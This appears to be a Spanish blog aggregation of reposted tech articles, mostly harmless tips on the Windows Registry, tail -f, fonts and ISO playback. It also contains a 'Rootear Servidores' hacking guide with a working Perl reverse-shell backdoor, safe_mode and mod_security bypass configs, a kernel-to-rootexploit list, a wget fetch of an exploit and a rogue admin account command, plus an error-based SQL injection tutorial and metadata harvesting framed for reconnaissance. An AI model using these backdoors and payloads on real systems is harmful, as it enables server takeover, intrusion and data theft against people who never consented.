Banner 1

Registro de Windows

0 comentarios

Una sección del Registro es un grupo de claves, subclaves y valores del Registro que cuentan con un conjunto de archivos auxiliares que contienen copias de seguridad de sus datos. Los archivos auxiliares de todas las secciones excepto HKEY_CURRENT_USER están en la carpeta %SystemRoot%\System32\Config en Windows NT 4.0, Windows 2000, Windows XP, Windows Server 2003 y Windows Vista. Los archivos auxiliares para HKEY_CURRENT_USER están en la carpeta %SystemRoot%\Profiles\nombreDeUsuario. Las extensiones de los archivos de estas carpetas indican el tipo de datos que contienen. A veces, la falta de extensión también puede indicar el tipo de datos que contienen.

Sección del Registro Archivos auxiliares

  • HKEY_LOCAL_MACHINE\SAM - Sam, Sam.log, Sam.sav
  • HKEY_LOCAL_MACHINE\Security - Security, Security.log, Security.sav
  • HKEY_LOCAL_MACHINE\Software - Software, Software.log, Software.sav
  • HKEY_LOCAL_MACHINE\System - System, System.alt, System.log, System.sav
  • HKEY_CURRENT_CONFIG - System, System.alt, System.log, System.sav, Ntuser.dat, Ntuser.dat.log
  • HKEY_USERS\DEFAULT - Default, Default.log, Default.sav
  • En Windows 98, los archivos del Registro se denominan User.dat y System.dat. En Windows Millennium Edition, los archivos del Registro se denominan Classes.dat, User.dat y System.dat.

    Nota: las características de seguridad de Windows NT, Windows 2000, Windows XP, Windows Server 2003 y Windows Vista permiten que un administrador controle el acceso a las claves del Registro.

    La siguiente tabla enumera las claves predefinidas que utiliza el sistema. El tamaño máximo del nombre de una clave es de 255 caracteres.

  • HKEY_CURRENT_USER
  • ha iniciado sesión. Las carpetas del usuario, los colores de la pantalla y la configuración del Panel de control se almacenan aquí. Esta información está asociada al perfil del usuario. Esta clave a veces aparece abreviada como “HKCU”.

  • HKEY_USERS
  • Contiene todos los perfiles de usuario cargados activamente en el equipo. HKEY_CURRENT_USER es una subclave de HKEY_USERS. HKEY_USERS puede aparecer abreviada como “HKU”.

  • HKEY_LOCAL_MACHINE
  • Contiene información de configuración específica del equipo (para cualquier usuario). Esta clave a veces aparece abreviada como “HKLM”.

  • HKEY_CLASSES_ROOT
  • Es una subclave de HKEY_LOCAL_MACHINE\Software. La información que se almacena aquí garantiza que cuando abra un archivo con el Explorador de Windows se abrirá el programa correcto. Esta clave a veces aparece abreviada como “HKCR”. En el caso de Windows 2000, esta información se almacena en dos claves: HKEY_LOCAL_MACHINE y HKEY_CURRENT_USER. La clave HKEY_LOCAL_MACHINE\Software\Classes contiene la configuración predeterminada que se puede aplicar a todos los usuarios del equipo local. La clave HKEY_CURRENT_USER\Software\Classes contiene la configuración que invalida la configuración predeterminada y que se aplica únicamente al usuario interactivo. La clave HKEY_CLASSES_ROOT proporciona una vista del Registro que combina la información de estos dos orígenes. HKEY_CLASSES_ROOT también proporciona una vista combinada para los programas diseñados para versiones anteriores de Windows. Para cambiar la configuración del usuario interactivo, se deben realizar los cambios en HKEY_CURRENT_USER\Software\Classes en lugar de en HKEY_CLASSES_ROOT. Para cambiar la configuración predeterminada, se deben realizar los cambios en HKEY_LOCAL_MACHINE\Software\Classes. Si escribe valores en una clave de HKEY_CLASSES_ROOT, el sistema almacena la información en HKEY_LOCAL_MACHINE\Software\Classes. Si escribe valores para una clave en HKEY_CLASSES_ROOT y la clave ya existe en HKEY_CURRENT_USER\Software\Classes, el sistema almacenará la información ahí, en lugar de en HKEY_LOCAL_MACHINE\Software\Classes.

  • HKEY_CURRENT_CONFIG
  • Contiene información acerca del perfil de hardware que utiliza el equipo local cuando se inicia el sistema.

    Modificar el Registro
    Para modificar datos del Registro, un programa debe utilizar las funciones del Registro definidas en el siguiente sitio web de MSDN:

    http://msdn2.microsoft.com/es-es/library/ms724875.aspx

    Los administradores pueden modificar el Registro con el Editor del Registro (Regedit.exe o Regedt32.exe), Directiva de grupo, Directiva del sistema o archivos del Registro (.reg), o bien ejecutando scripts como los archivos de scripts de Visual Basic.

    Utilizar la interfaz de usuario de Windows
    Se recomienda que utilice la interfaz de usuario de Windows para cambiar la configuración del sistema, en lugar de modificar el Registro manualmente. Sin embargo, modificar el Registro puede ser a veces el método mejor para resolver un problema del producto. Si el problema está documentado en Microsoft Knowledge Base, dispondrá de un artículo con instrucciones paso a paso para modificar el Registro en relación con ese problema. Recomendamos que siga exactamente esas instrucciones.
    Utilizar el Editor del Registro
    Advertencia: pueden producirse problemas graves si modifica incorrectamente el Registro mediante el Editor del Registro o con cualquier otro método. Estos problemas pueden requerir que reinstale el sistema operativo. Microsoft no puede garantizar la solución de esos problemas. Modifique el Registro bajo su responsabilidad.
    Puede utilizar el Editor del Registro para hacer lo siguiente:

  • Buscar un subárbol, clave, subclave o valor
  • Agregar una subclave o un valor
  • Cambiar un valor
  • Eliminar una subclave o un valor
  • Cambiar el nombre de una subclave o un valor
  • El área de navegación del Editor del Registro muestra carpetas. Cada carpeta representa una clave predeterminada del equipo local. Cuando se obtiene acceso al Registro de un equipo remoto, sólo aparecen dos claves predefinidas: HKEY_USERS y HKEY_LOCAL_MACHINE.
    Utilizar Directiva de grupo
    Microsoft Management Console (MMC) hospeda herramientas administrativas que puede utilizar para administrar redes, equipos, servicios y otros componentes del sistema. El complemento Directiva de grupo de MMC permite a los administradores definir la configuración de la directiva aplicada a equipos o a usuarios. Puede implementar Directiva de grupo en equipos locales utilizando el complemento de directiva de grupo local de MMC, Gpedit.msc. Puede implementar la directiva de grupo en Active Directory utilizando el complemento Usuarios y equipos de Active Directory de MMC. Para obtener más información acerca de cómo utilizar la directiva de grupo, vea los temas de Ayuda del complemento de directivas de grupo de MMC apropiado.
    Utilizar un archivo de entradas del Registro (.reg)
    Cree un archivo de entradas del Registro (.reg) que contenga los cambios del Registro y ejecute el archivo .reg en el equipo en el que desee realizar los cambios. Puede ejecutar el archivo .reg manualmente o mediante un script de inicio de sesión. Para obtener más información, haga clic en el número de artículo siguiente para verlo en Microsoft Knowledge Base:
    310516 Cómo agregar, modificar o eliminar subclaves y valores del Registro mediante un archivo de entradas de registro (.reg)


    FUENTE:http://www.newbie.cl/nb/2009/02/08/registro-de-windows/

    Crimen Informatico

    0 comentarios

    En esta nueva era los crimenes han evolucionado… aqui un ejemplo de lo ultimo de lo ultimo en cuanto a crimenes informaticos:

    crimen-informatico


    FUENTE:http://chistesgeeks.com/2009/03/23/crimen-informatico/

    El secreto del PageRank

    0 comentarios

    Si señ0res… Ya encontramos el secreto del PageRank. Aqui la formula:incrementarpagerank


    FUENTE:http://chistesgeeks.com/2009/03/26/el-secreto-del-pagerank/

    Espiar cambios en un fichero de log

    0 comentarios

    null

    Recientemente ando enfrascado en un pequeño proyecto personal (e informático, que de otras índoles tengo más ;) ) que dada su naturaleza (servicio web) requiere estar al tanto de los cambios que se producen en el fichero de registro de Apache.

    Como me he sorprendido usando un comando (que explicaré en breve) que me permita desde la terminal ir visualizando los cambios sin tener que estar abriendo continuamente el fichero o haciendo un cat del mismo, y recordando que al principio usaba alguno de los dos métodos anteriores (con lo “cansados” que son), he optado por ofreceros la solución por si a alguno le viene bien.

    Un poco de culturilla “general”

    Un fichero de log o registro es un archivo en el que se van anotando todos los sucesos que ocurren en determinado sistema.

    Ésta no es una gran definición (pero para hacernos una idea puede servir) puesto que depende del programa que haga uso del fichero: no es lo mismo un fichero de registro de una aplicación en su fase de desarrollo que el log de un keylogger ;)

    Mostrando en pantalla los cambios de un fichero

    A estas alturas nos dará igual que se trate de un fichero de registro como de cualquier otro fichero cuyo contenido cambie en el tiempo (imagina que estás redireccionando la salida de determinado comando a un fichero y te interesa ver lo que está escribiendo/haciendo).

    Para poder ver los cambios en “tiempo real” bastará con lanzar

    tail -f RUTA-AL-FICHERO

    Sirva de ejemplo

    tail -f /opt/joomla1.5/apache2/logs/error_log

    Donde estoy espiando los cambios que se produzcan en el fichero error_log que se encuentra en el directorio /opt/joomla1.5/apache2/logs/ y que se correponde (podría haber puesto cualquier otro ejemplo) al servidor Apache que instalé en mi equipo con el stack de Bitnami para Joomla.

    Marcando puntos de interés en el log

    Aunque cada anotación en el fichero de log suele venir acompañada de la hora y fecha en la que se produjo
    null

    Cuando llevamos un rato trabajando con él puede resultar especialmente complicado (y cansado) encontrar dónde comienza la última anotación desde que miramos el fichero por última vez.

    Una técnica que suelo utilizar es

    1. colocarme en la ventana en la que se muestran los cambios del fichero
    2. dejar pulsado un rato la tecla del guión (puedes usar la que más cómoda te resulte y/o guste ;) )
    3. pulsar el retorno de carro

    NOTA: no tengas miedo que no se va a fastidiar el comando tail ni te vas a cargar el contenido del fichero de log.

    Con ello conseguimos localizar rápida y fácilmente los cambios que se han producido: bastará con encontrar la última ristra de guiones y todo lo que esté debajo es nuevo :D
    null

    Conclusión

    Método sencillo y rápido con el que conocer (conforme se producen) todos los cambios de un fichero.

    Espero os sea de utilidad y evitéis (como sufrí en mis inicios) tener que estar abriendo y cerrando ficheros de log para ver los cambios.


    FUENTE:http://andalinux.wordpress.com/2009/03/10/espiar-cambios-en-un-fichero-de-log/

    Eliminar archivos antiguos automáticamente

    2 comentarios
    null
    Buscando una forma de eliminar los archivos de cierta antigüedad de un directorio me topé con una “receta” (¿alguien sabe cómo traducir decentemente “tip”?) en la web Command-line Fu.

    El problema es que no me funciona (el autor parece haberla colocado incompleta a tenor del \ que aparece al final de la misma) y es por ello que he optado por publicar una alternativa a dicho comando por si a alguno le puede ser de utilidad.

    Para borrar todos los ficheros con más de 5 días de antiguedad del directorio /ruta_directorio deberemos ejecutar un

    rm -f `find /ruta_directorio -mtime +5`

    NOTA: Obsérvese que se hace uso del parámetro -f por lo que el sistema borrará los ficheros que cumplan la condición sin pedir confirmación. Si se quiere confirmar el borrado bastará con quitarlo; el “problema” es que nos preguntará qué hacer PARA CADA fichero.

    De esta solución cabe destacar:

    1. El uso de las comillas ` como un medio de ejecutar un comando dentro de otro.
    2. El uso del parámetro -mtime del comando find para filtrar por la fecha de modificación. Para mayor información os recomiendo que consultéis los parámetros de find pues cuenta con variantes como atime, ctime y similares que os permiten saber, entre otras cosas, cuándo fue accedido el fichero por última vez.
    FUENTE:http://andalinux.wordpress.com/2009/03/22/eliminar-archivos-antiguos-automaticamente/

    Crear tu propia fuente de letra (TrueType font)

    1 comentarios
    null

    Como niño con zapatos nuevos ando hoy con una “chorradita” que me he encontrado por Internet y que me permite crear un ttf con mi propia caligrafía.

    Como oís, con unos simples pasos y con poco esfuerzo podéis escribir documentos de texto de vuestro puño y letra.

    La verdad es que a los compañeros y alumnos a los que se los he enseñado les ha encantado la idea y como parece que ha tenido buena aceptación no he querido privaros de dicho placer.

    Haciendo memoria o… esto me resulta familiar

    Hace bastantes años ya existía una aplicación que ofrecía dicha posibilidad por un escaso puñado de euros (para ser sinceros el precio todavía estaba en pesetas ;) )

    Lo ofrecían, entre otras, como una posibilidad de escribir las invitaciones de boda de una forma más personal al tiempo que se evitaba el esfuerzo de tener que hacerlo manualmente.

    Las ventajas de esta solución son

    1. Es multiplataforma (la solución mencionada sólo servía para Windows)
    2. Es gratis
    3. Es sencillo
    4. No requiere instalar nada.

    Creando tus propios juegos de caracteres

    El servicio es ofrecido por la web YourFonts, y lo único que tendréis que hacer es

    1. Descargar e imprimir una plantilla
    2. Rellenarla con los distintos números, letras y símbolos
    3. Escanear la plantilla
    4. Subirla al servidor
    5. Descargar el fichero ttf con tu propia caligrafía.

    Y eso es todo. Sencillo, ¿verdad?

    Conclusión

    Una forma sencilla y rápida de tener unas fuentes muy personales y que seguro que os van a dar muchísimo más juego que la manida Times New Roman, ¿no os parece? ;)

    http://andalinux.wordpress.com/2009/03/16/crear-tu-propia-fuente-de-letra-truetype-font/

    Reproducir películas en formato .iso

    0 comentarios
    null

    Tras el experimento del otro día necesitaba una forma de comprobar si la imagen creada del DVD rayado estaba en condiciones de poder ser visualizada en el reproductor del salón.

    Como no era plan de quemar un DVD para luego darme cuenta que lo que había conseguido era una “batata” en lugar de una película opté por la solución más sencilla que es utilizar mi reproductor multimedia favorito en Ubuntu Linux (Totem) para visualizar el contenido antes de grabarla definitivamente.

    Veamos cómo reproducir imágenes de películas en formato .iso en el reproductor de nuestro ordenador.

    Desde la terminal

    Bastaría con lanzar un

    totem dvd://tmp/peli.iso

    donde:

    1. dvd:/ sirve para indicar el “protocolo” a utilizar (o si se prefiere el tipo de medio a reproducir)
    2. /tmp/peli.iso es la ruta absoluta al fichero de nuestra película (peli.iso ubicado en el directorio /tmp)

    En modo gráfico

    Haremos lo siguiente:

    1. Abrimos nuestro reproductor multimedia Totem
    2. Seleccionamos la siguiente entrada de menú
      null
    3. Introducimos la ruta a la película (tal y como hicimos en el método anterior)

      dvd://tmp/peli.iso

    Conclusión

    Forma sencilla y rápida de reproducir aquellas imágenes de películas que tenemos sin llevarnos sorpresas desagradables tras quemar el DVD.

    ¿Tienes alguna forma alternativa de hacerlo que quieras compartir con los demás? Como siempre estamos abiertos a sugerencias y nuevas posibilidades ;)


    Fuente:http://andalinux.wordpress.com/2009/03/12/reproducir-peliculas-en-formato-iso/

    Rootear Servidores

    0 comentarios

    Les traigo este paper hecho por vengador de las sombras , muy bueno espero lo disfruten

    Rootear Servidores


    Por Vengador de las Sombras (F.O.S TEAM)


    0X00 INDICE


    0x01 Introducción
    0x02 Habilitar funciones (bypassing)
    0x02~01 Safe_mode
    0x02~02 Mod_security
    0x03 Shell inversa
    0x04 Rootear el servidor
    0x04~01 Servidores con Linux
    0x04~02 Servidores con Win32
    0x05 Despedida y Agradecimiento s



    0X01 INTRODUCCIÓN



    El tema de "tengo una shell en el servidor, ahora que hago" seguro que nos suena de haberlo leido reitaradas veces en muchos foros. Y es que esta es una de las dudas existenciales cuando empiezas en este mundillo... ¿Qué hacer con tu shell?.

    Pues para las personas que tienen esta duda, va dirigido esta guía. La idea original de crear dicha guía me la dió hace ya tiempo Lëssiëm. En aquel momento le expliqué de una forma "muy breve" el como rootear un servidor... pero en aquella ocasión se lo expliqué todo color de rosa, es decir sin ningun tipo de complicación. La idea de la guia se fue dejando de lado... hasta que antes de irme a la Universidad decidi crearla.

    0X02 HABILITAR FUNCIONES (BYPASSING)



    El primer problema con el que solemos encontrarnos a la hora de "juankear" un servidor, suele ser el que tenemos ciertas funciones deshabilitadas por culpa del "Safe_Mode", o tenemos algún problema con el Mod_Security. Cualesquiera que sea el caso del que nos dé problemas, en este capítulo hablaremos de como saltar, de como "bypassear" estas restricciones que nos encontramos.

    Cuando tenemos una shell subida a un servidor, usualmente nuestro primer objetivo es el lograr habilitar aquellas funciones que vamos a necesitar, para poder desenvolvernos de la forma más sencilla por todo el servidor. A continuación pasamos a explicar detalladamente distintos bypassing.

    0X02~01 SAFE_MODE



    El Safe_Mode o Modo Seguro, es una configuración que se suele seguir mucho en los servidores que suelen ser de hospedaje, es decir, en aquellos que cada usuario tiene un /home/ diferente donde se alojan, teniendo el servidor así diferentes /home/, uno por cada usuario. Para evitar el que un usuario pueda interferir de algún modo en el normal funcionamiento de otro, estos servidores suelen adoptar una configuración de Modo Seguro.


    Esta configuración lo que hace es inhabilitar ciertas funciones PHP que puedan tacharse como "peligrosas", tales como funciones de ejecución (Eval, System, exec...) y algunas otras como rename, copy, etc. Realmente no es que deshabiliten la totalidad de éstas funciones, sino que bloquean su uso únicamente al dueño del fichero.

    Como nos habremos dado cuenta ya, Safe_Mode representa una barrera que debemos de saltar para poder "hacer algo" dentro del servidor. Para bypassear el Safe_Mode, existen diversas formas.


    La primera de todas es usando algún exploit que vulnere la versión PHP que está corriendo el servidor. Normalmente deben de ejecutar el código del exploit en la shell. ¿Cómo hacemos esto?. Si alguna vez han manejado una R57 o una C99, habrán observado que existe un apartado donde pone "Run PHP Code" o similar. Deben de colocar ahí el código del exploit y lo ejecutan.




    Una segunda forma para realizar un bypassing es el subir al mismo path donde se encuentra nuestra shell un archivo de configuración php.ini. Esto se hace así porque el safe_mode se configura como ON en la configuración de PHP. Entonces lo que vamos a hacer, es colocar un archivo de configuración dentro del mismo path en el que tenemos nuestra shell para deshabilitar en este path el Safe_Mode. EL source del .ini es el siguiente:



    [PHP]
    register_globals = On
    engine = On
    safe_mode = Off
    safe_mode_exec_dir = On
    safe_mode_include_dir =On


    Pues ya sabemos cómo bypassear el safe_mode para poder movernos con soltura dentro del servidor.

    0X02~02 MOD_SECURITY



    Otra medida de seguridad que en muchas ocasiones necesitamos bypassear es el Mod_Security de Apache. Mod_Security es muy molesto para trabajar en el servidor... así que tendremos que bypassearlo editando el fichero .htaccess. Deberemos de añadir al fichero .htaccess



    SecFilterEngine Off
    SecFilterScanPOST Off
    SecFilterCheckURLEncoding Off
    SecFilterCheckUnicodeEncoding Off
    &/IfModule>



    Con esto y el bypass de Safe_Mode tendríamos la mitad del asunto hecho

    0X03 SHELL INVERSA



    El caso es que usar la shell en PHP para empezar está bien, pero cuando ya has conseguido realizar los bypass y lo que buscas es manejarte y tratar de rootear el servidor, siempre es mejor tener una shell sobre la que ejecutar instrucciones.

    Como bien sabemos ya por NetCat, la shell inversa es la mejor forma de tener el control del servidor. Mayormente es preferible una inversa a una directa porque el firewall, en principio, casi siempre permite conexiones salientes, pero no entrantes.


    Entonces nuestro objetivo será codear alguna aplicación que nos dé una shell inversa en el puerto que elijamos. Yo normalmente codeo los backdoors en PERL, ya que el uso de socket es muy sencillo. Por otra parte, existen otras personas que prefieren usar Backdoors codeadas por terceros, como la Datacha0s, o la BackConnect del D.O.M. Personalmente siempre apoyo el "codeate tú mismo tus herramientas" para depender menos de terceros. Así que aqui os dejo un PoC :



    print "[+]Connecting to $host ...";
    socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
    || die "[-] Cannot Resolve $host";
    connect(SOCKET, sockaddr_in($port, inet_aton($host)))
    || die "[-] Cannot Connect to $host";

    print "\n[+] Connected!";

    open(STDIN, ">&SOCKET");
    open(STDOUT,">&SOCKET");
    open(STDERR,">&SOCKET");
    $ejecutor = "/bin/bash";
    system($ejecutor);


    Esa es una pequeña idea, estudiad Perl para poder implementar esta idea. El caso es que con eso lanzaríamos un socket al host y puerto que hayamos puesto. Aqui les dejo la BackFoS (el backdoor que codee para el FOS TEAM) en su version 0.2. Actualmente estamos trabajando con la 0.3 (le he añadido unos pocos errores anti-kiddies):


    #!/usr/bin/perl

    ########### BackFoS v0.2 - By FoS TeaM - [priv8] ##########
    # #
    # BackFoS is a Backdoor in PERL for all Servers #
    # c0dex by Vengador de las Sombras #
    # #
    # USAGE: Perl BackFoS.pl #
    # You need have listen nc, cryptcar, putty or other #
    # program on to connect with the backdoor #
    # #
    #=========================================================#
    # #
    # Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k, #
    # Lëssiëm Tárálom, Phonix & ArgeniversoHack & #RE members #
    # Especial Thanx To Plaga, for the help =) #
    # #
    #################### (c)FoS TeaM 2008 #####################

    #use IO::Socket;

    print q(

    =================================================
    BackFoS.pl c0dex by FoS TeaM
    =================================================
    );
    $ARGC = @ARGV;
    if ($ARGC != 5){
    print "\nUsage: BackFoS.pl
    exit(0);
    }

    $host = $ARGV[0];
    $port = $ARGV[1];
    $OS = $ARGV[2];
    use Socket;

    print "[+]Connecting to $host ...";
    socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
    || die "[-] Cannot Resolve $host";
    connect(SOCKET, sockaddr_in($port, inet_aton($host)))
    || die "[-] Cannot Connect to $host";

    print "\n[+] Connected!";

    open(STDIN, ">&SOCKET");
    open(STDOUT,">&SOCKET");
    open(STDERR,">&SOCKET");

    print "\n .::BackFoS v0.2 - FoS TeaM - [Priv8]\n";
    if ($OS == "-l"){
    $ejecutor = "/bin/bash";
    system($ejecutor);
    }

    if ($OS == "-w"){
    $ejecutor = "cmd";
    sistem($ejecutor);
    }


    Antes de mandar la shell, debemos de ejecutar en nuestra propia shell lo siguiente:



    nc -lvvp 90


    Podemos usar NetCat, o cualquier otro programa que sirva para hacer negociaciones TCP/IP. El caso es que así dejamos a la escucha netcat para que reciba la shell. Desde la shell .php que tenemos en el servidor ejecutamos lo siguiente:



    perl


    et voilá ya podemos manejarnos dentro de la shell del servidor. Normalmente desde esta shell tendremos más flexibilidad que con la shell .php.


    0X04 ROOTEAR EL SERVIDOR



    Ya hemos llegado al apartado crucial de este paper. Cuando hablamos de rootear un servidor, a lo que nos referimos es a conseguir ser root del servidor, es decir, poder hacer lo que se nos antoje dentro del servidor. Aqui vamos a diferenciar entre servidores que corren con Linux y los que corren con Win32



    0X04~01 SERVIDORES CON LINUX



    Cuando rooteamos un servidor que corre con el sistema operativo Linux, lo que haremos será atacar al kernel (en caso de que sea una versión vulnerable) para que elevemos privilegios.

    En este caso partimos de la base de que ya estamos controlando una shell inversa procedente del servidor. Lo primero que deberemos de hacer será comprobar si la versión del kernel es vulnerable. Para ello deberemo sde ejecutar la instruccion uname -r. Aqui les dejo un listado de kernels y posibles rootexploits que los vulneran:

    2.4.17=> "newlocal kmod uselib24",
    2.4.18=> "brk brk2 newlocal kmod",
    2.4.19=> "brk brk2 newlocal kmod",
    2.4.20=> "ptrace kmod ptrace-kmod brk brk2",
    2.4.21=> "brk brk2 ptrace ptrace-kmod",
    2.4.22=> "brk brk2 ptrace ptrace-kmod",
    2.4.22-10=> "loginx",
    2.4.23=> "mremap_pte",
    2.4.24=> "mremap_pte uselib24",
    2.4.25-1=> "uselib24",
    2.4.27=> "uselib24",
    2.6.2=> "mremap_pte krad h00lyshit",
    2.6.5=> "krad krad2 h00lyshit",
    2.6.6=> "krad krad2 h00lyshit",
    2.6.7=> "krad krad2 h00lyshit",
    2.6.8=> "krad krad2 h00lyshit",
    2.6.8-5=> "krad2 h00lyshit",
    2.6.9=> "krad krad2 h00lyshit",
    2.6.9-34=> "r00t h00lyshit",


    o hice una tool para el team que se encargaba precisamente de eso, de mostrar los posibles rootexploit a partir de ese listad (creas una matriz asociativa, dejando las Keys como las versiones y los Values con los rootexploits, despues lo que haces es ejecutar uname -r y creas un patron de búsqueda que compruebe si en el output aparece alguna version de kernel que tengamos en el hash).

    Bien desde la shell remota lo que haremos será movernos hasta un directorio donde podamos ejecutar archivos. Normalmente se suele recurrir a /tmp o se hace un find . -type d -perm (los que necesiemos buscar)

    Bueno, si ya estamso en el directorio, ahora debemos de descargar nuestro rootexploit al servidor usando el comando wget (wget http://mihost.com/del/exploit). Tras haber descargado nuestro rootexploit, deberemos de darle permisos de ejecuccion (777) usando el comando chmod:

    Código:

    chmod 777 rootexploit


    Y ya solo nos quedaría ejecutarlo con ./rootexploit. Si todo ha salido bien, deberíamos de ser root ya.

    0X04~02 SERVIDORES CON WIN32



    Los más puristas llaman a esto "Semi-rootear" el servidor... pero bueno. Yo aprendí siguiendo un paper que publicó You_kn0w. La idea es crear un usuario en el servidor con permisos de administrador a través de los comandos net. Es por ello que es necesario tener el safe_mode off, para poder ejecutar comandos.

    El "ataque" se inicia desde la shell que tengamos en el servidor. Allí lo que hacemos es ejecutar las siguientes instrucciones:

    Código:

    net user FoS 123456 /add


    Para aquellos que sepan algo de batch, sabrán que lo que hemos hecho ha sido crear un usuario llamado FoS cuya password es 123456. Bien ahora nos vamos a inicio -> ejecutar y escribimos mstsc.exe

    Se nos abrirá una ventania. Ahí vamos a opciones y rellenamos los campos, a excepción de Equipo. En ese campo deberemos de poner la IP del servidor donde nosotros nos habíamos creado el usuario. Podemos o bien hacer ping al servidor o bien hacer desde la shell ipconfig y sacar la IP.

    0X05 DESPEDIDA Y AGRADECIMIENTOS




    Bien, creo que al final este paper ha quedado como una buena introducción a las newbies que empiezan en este mundo. Por otra parte creo que podría expandirse un poco más... pero bueno eso para otra ocasión. Espero les haya sido de utilidad.


    Gr3tz to: FoS TeaM (Chipbios & Mace Windu), Askata, Chr0n05, Lëssiëm, Lutscher, Keynet, Fr34k, N.O.X. Tambien agradecer a mi betatester S e t H y a mi gran colega Plaga.

    FUENTE:http://0verl0ad.blogspot.com/search/label/Rootear

    metadatos 2 -doc

    0 comentarios
    La vez pasada les postee y hize un lab para la deteccion de metadatos con un programa hecho por el portal kriptopolis , hoy les traigo algo mas diferente pero busca la misma respuesta :D

    Como ya dije con anterioridad, existen múltiples herramientas que nos sacan los metadatos en un plis plás, pero yo lo que pretendo con estos pocos artículos (y con el que voy a hacer con Lix) es enseñaros qué son los metadatos, como podemos verlos, y daros unas pistas de cómo podeis codear vosotros una herramienta que se adapte a vuestras necesidades.


    Los metadatos, como ya dijimos, contienen distintas informaciones acerca de nuestro documento, ya sean datos de la manipulación del documento, estructura, o descripciones sobre el contenido del mismo. En el caso de los archivos ofimáticos creado con MS-Office, esta información se incorpora de forma automática a nuestro propio archivo, es decir, que en nuestro documento tenemos a parte de nuestro texto, esta información. Como es lógico, si no la eliminamos, cualquier persona a la cual le suministremos nuestro documento podrá analizarlo y extraer datos de cierta relevancia sobre nosotros.


    La forma de extraer estos datos es múltiple, desde simplemente abrir el documento con un editor hexa y buscar información, hasta sacar objetos OLE (como ejemplo el script que hice en el artículo Metadata I: Nociones básicas ). Otra opción puede ser pasar el archivo a otro formato... en el caso de .doc a .rtf (Rich Text Format) donde podremos ver mejor los metadatos....

    El caso es que de primeras, para observar que esto de los metadatos es algo real, coged un editor hexadecimal y abrid cualquier documento Word que tengais a mano:





    Si buscais un poquito podreis encontrar cosas como esta, donde podemos ver el nombre de usuario y el programa creador del documento. Si seguis viendo encontrareis otras cosas, en mi caso, puse un link a un recurso compartido y si observamos podemos encontrar el link:



    Quedaros con eso de PID_HLINKS, ya hablaremos de eso más adelante. Si os fijais también podeis encontrar la compañía (Dark). Como veis aparece una cosa interesante como puede ser \\maquina003\PoC\ejemplo C3LL ... sería una cosa bastante interesante dar con algo como esto :D


    Tras este primer vistazo, podemos entender porqué son importantes estos metadatos. Podemos llegar a esquematizar la estructura interna de una organización a partir de las rutas relativas, los dominios internos, las rutas de las imagenes que haya linkeadas, las impresoras externas; y además también podemos saber algunos software que usan, el tipo de impresora, etc... lo que si encontramos algo sobre lo que haya ya publicado en algun Bugtraq vulnerabilidades... tenemos la mitad del camino hecho.

    A parte, también podemos sacar patrones de conductas y datos personales (nombres y apellidos, correo electrónicos, etc.) muy útiles a la hora de aplicar un poco de ingeniería social y de saber, por ejemplo, qué clase de permisos tiene cada usuario.

    Bien, pero aún podemos extraer más datos. Al exportar un archivo .doc sucio (es decir, sin haber limpiado los metadatos) a formato .rtf (Rich Text Format), y abrirlo con un block de notas optendremos una marañana de datos... entre los cuales encontraremos nuestros queridísimos metadatos:




    Por si alguien no sabe como pasar a .rtf, simplemente abre el documento word, dale a guardar como y selecciones el formato RTF. Bien, si nadais entre ese cúmulo de caracteres sin sentido aparente (y sólo aparente) encontrareis las mísmas cosas que antes... pero si os fijais más aún y comprobais con otros documentos... vereis que hay una serie de coincidencias, a partir de las cuales podrás sacar datos intereantes:

    -Generator: es el programa que ha generado el documento (EJ: {\*\generator Microsoft Word 11.0.0000;} )
    -Author: El usuario que creo el archivo (EJ:{\author usuario})
    -Company: Compañía (EJ: {\*\company Dark})
    -Revtbl: Usuarios que han creado/editado el archivo


    Y despues hay otra serie de datos... tan sólo hechad un vistazo por ahí.

    (Continuará)

    FUENTE:http://0verl0ad.blogspot.com/search/label/Metadatos

    Inyeccion SQL desde 0

    1 comentarios

    Me encontre este tutorial muy bueno espero que lo disfruten:

    Wenas.
    aqui explicare a iniciarse en las inyecciones SQL a través de variables de tipo GET. La idea me ha surgido al empezar a introducir a Plaga al divertido mundo de las vulnerabilidades.

    Tras leerse y aprender lo que se va a exponer en este pequeño tutorial/manual podreis manejaros un poco más en el uso de las SQL Injection, una vulnerabilidad que cada día se extiende más. Nosotros nos vamos a basar en usar el método de ir probando y obteniendo errores, de los cuales sacaremos información jugosa.

    Primeros pasos:sacando la tabla

    Bien, para empezar necesitamos encontrar alguna web que potencialmente pudiera (no lo sabemos todavía) tener algún script del tipo “noticias.asp?ID=”, “artículos.php?view=” vulnerable.
    ———————————————————————————————–
    Consejo:es recomendable tener un block de notas abierto para ir escribiendo los resultados de las inyecciones, ya que a la hora de construir PoC o trabajar con la info extraida, viene bastante bien tener todo organizado.
    ————————————————————————————————

    La inyección la introducimos en variables de tipo GET. ¿Qué son estas variables? Resumiendo muy mucho,,podemos decir que son aquellas variables que se introducen a través de la URL.
    Vamos a utilizar un ejemplo imaginario. Estamos viendo una web, y nos encontramos con un link tipo “www.paginafals a.com/index.asp?profile=47″. Para comprobar si es vulnerable comenzamos por poner’. Con ‘ indicamos la finalización de una sentencia SQL. Nuestro código malicioso será ‘ having 1=1–. El “–” sirve para que sean ignoradas todas las sentecias que venga detrás, equivale al “#” en perl o al //, /*, etc de otros lenguajes. En el caso del ejemplo imaginario, nos debería de “vomitar” la web un error del estilo de:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

    [Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.Id’ de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.

    D:\WADHOO01\T15\../sistema/include0.asp, línea 4

    Bien no os alarmais, de aquí lo único que nos interesa es Datos.Id. “Datos” es el nombre de la tabla en la que estamos operando, y “Id” es el nombre del campo. Sería aconsejable hechar un pequeño vistazo a algún manual de manejo de DBs para comprender su estructura. En estos campos será donde se encuentre contenida la información que maneja la DB de la web que estamos “atacando”. Ahora imprescindible agarrar el notepad y ponen “NOMBRE TABLA: Datos” y despues en otra línea “Campos: 1º Id”.

    Le ponesmos “1º” porque los campos se encuentran ordenados dentro de la DB y éste orden es imprescindible a la hora de construir las sentencias.

    Sacando los campos de la tabla

